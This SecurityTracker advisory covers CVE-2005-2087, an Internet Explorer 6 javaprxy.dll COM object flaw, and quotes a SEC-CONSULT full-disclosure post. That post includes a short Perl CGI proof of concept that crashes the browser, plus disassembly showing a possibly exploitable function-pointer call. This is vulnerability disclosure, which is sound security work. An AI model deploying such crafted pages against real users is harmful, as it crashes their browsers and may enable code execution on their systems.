Microsoft Internet Explorer 'javaprxy.dll' COM Object Exception Handling Lets Remote Users Execute Arbitrary Code
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SecurityTracker Alert ID: 1014329
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SecurityTracker URL: http://securitytracker.com/id?1014329
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CVE Reference: CVE-2005-2087
(Links to External Site)
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Updated: Jun 24 2008
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Original Entry Date: Jun 29 2005
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Impact: Denial of service via network, Execution of arbitrary code via network, User access via network
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Exploit Included: Yes
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Version(s): 6.0 SP1 and prior versions; Tested on 6.0.2900.2180
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Description: A vulnerability was reported in Microsoft Internet Explorer in 'javaprxy.dll'. A remote user can cause the target user's browser to crash or execute arbitrary code.
A remote user can create specially crafted HTML that, when loaded by the target user, will trigger a heap overflow in 'javaprxy.dll'
and cause the target user's browser to crash. Specially crafted object tags can cause certain COM componenets to crash.
It is
also possible to overwrite a function pointer to execute arbitrary code.
A demonstration exploit from FrSIRT is available at:
http://www.frsirt.com/exploits/2005070
2.iejavaprxyexploit.pl.php
The vendor was notified on June 17, 2005.
sk0L and Martin Eiszner from SEC-CONSULT discovered this
vulnerability.
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Impact: A remote user can cause the target user's browser to crash.
A remote user can execute arbitrary code on the target system.
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Solution: No solution was available at the time of this entry.
Microsoft has described some workarounds at:
http://www.microsoft.com/technet/security/advisory/903144.mspx
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Vendor URL: www.microsoft.com/ (Links to External Site)
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Cause: Exception handling error
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Underlying OS: Windows (Any)
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Reported By: Bernhard Mueller <research@sec-consult.com>
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Message History:
This archive entry has one or more follow-up message(s) listed below.
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Source Message Contents
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Date: Wed, 29 Jun 2005 09:52:47 +0200
From: Bernhard Mueller <research@sec-consult.com>
Subject: [Full-disclosure] SEC-CONSULT SA-20050629-0
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SEC-CONSULT Security Advisory < 20050629-0 >
==================================================================================
title: IE6 javaprxy.dll COM instantiation heap corruption
vulnerability
program: Internet Explorer
vulnerable version: 6.0.2900.2180
homepage: www.microsoft.com
found: 2005-06-17
by: sk0L & Martin Eiszner / SEC-CONSULT /
www.sec-consult.com
==================================================================================
background:
---------------
Internet Explorer supports instantiation of non-ActiveX controls, e.g
COM objects, via <object> tags. according to M$, COM components respond
gracefully to attempts to treat them as non-ActiveX controls. on the
contrary, we found that at least 20 of the objects available on an
average XP system either lead to an instant crash or an exception after
a few reloads.
vulnerability overview:
---------------
Loading HTML documents with certain embedded CLSIDs results in
null-pointer exceptions or memory corruption. in one case, we could
leverage this bug to overwrite a function pointer in the data segment.
it *may* be possible to exploit this issue to execute arbitrary code in
the context of IE.
proof of concept:
---------------
this simple CGI should crash IE.
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#!/usr/bin/perl
# in order for this to work javaprxy.dll must be available on the client.
my $clsid = '03D9F3F2-B0E3-11D2-B081-006008039BF0'; # javaprxy.dll
my $html1 = "<html><body>\n<object
classid=\"CLSID:".$clsid."\"></object>\n";
my $html2 = "\n</body><script>location.reload();</script></html>\n"
;
print "Content-Type: text/html;\r\n\r\n";
print $html1.("A"x30000).$html2;
---------------
on our lab machine, we, end up with eax=00410041, and an exception
occurs at the following location in javaprxy.dll:
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.text:7C508660 mov eax, [ecx]
.text:7C508662 test eax, eax
.text:7C508664 jz short locret_7C50866C
.text:7C508666 mov ecx, [eax]
.text:7C508668 push eax
.text:7C508669 call dword ptr [ecx+8]
---------------
as you can see, this situation may be exploitable, considering that we
have some level of control over eax.
vulnerable versions:
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javaprxy.dll 5.00.3810
internet explorer 6.0.2900.2180.xpsp_sp2_gdr.050301-1519
these are the versions tested, other versions may of course be vulnerable.
vendor status:
---------------
vendor notified: 2005-06-17
vendor response: 2005-06-17
patch available: ?
microsoft does not confirm the vulnerability, as their product team can
not reproduce condition. however, they are looking at making changes to
handle COM objects in a more robust manner in the future.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
< Bernhard Müller / Martin Eiszner > / www.sec-consult.com /
SGT ::: walter|bruder, flo, tke, dfa :::
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
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